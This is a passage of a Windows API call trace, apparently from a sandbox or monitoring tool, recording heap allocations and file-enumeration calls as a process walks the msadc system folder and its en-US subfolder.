(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.504] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0065.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.504] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0065.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.505] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0065.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.505] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0065.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.505] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0065.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.506] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0065.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.506] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0065.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.506] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0065.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.506] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0065.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.507] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0065.507] GetLastError () returned 0x12 [0065.507] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0065.507] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0065.507] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.507] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0065.507] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0065.507] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0065.507] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0065.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa09738 [0065.508] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa09738, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa09738, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0065.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa09738) returned 1 [0065.508] NtClose (Handle=0x170) returned 0x0 [0065.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07430 [0065.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa074b8 [0065.508] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0065.517] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.517] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0065.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0065.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07430) returned 1 [0065.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04240 [0065.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05588 [0065.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.517] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0065.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04260 [0065.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05690 [0065.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.517] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0065.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04280 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05378 [0065.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.518] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa042a0 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05798 [0065.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.518] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa042c0 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa059a8 [0065.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa40) returned 0x9fa458 [0065.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08d30) returned 1 [0065.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.519] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0065.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa042e0 [0065.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05bb8 [0065.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07540) returned 1 [0065.519] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0065.519] GetLastError () returned 0x12 [0065.519] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0065.519] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0065.519] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 